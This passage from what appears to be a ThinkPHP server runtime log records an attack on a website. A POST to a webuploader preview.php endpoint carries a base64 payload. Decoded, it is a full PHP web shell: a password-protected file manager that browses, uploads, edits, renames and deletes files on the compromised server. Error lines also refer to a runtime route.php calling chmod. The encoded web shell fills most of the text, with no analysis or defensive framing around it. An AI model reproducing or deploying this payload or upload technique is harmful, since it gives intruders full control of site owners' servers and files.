W5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'lib' => 'webuploader', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:30:34+08:00 ] 116.213.36.234 POST www.51tianwei.com/static/admin/hui/lib/webuploader/0.1.5/server/preview.php [运行时间:0.002634s] [吞吐率:379.64req/s] [内存消耗:196.89kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'static', 2 => 'admin', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWy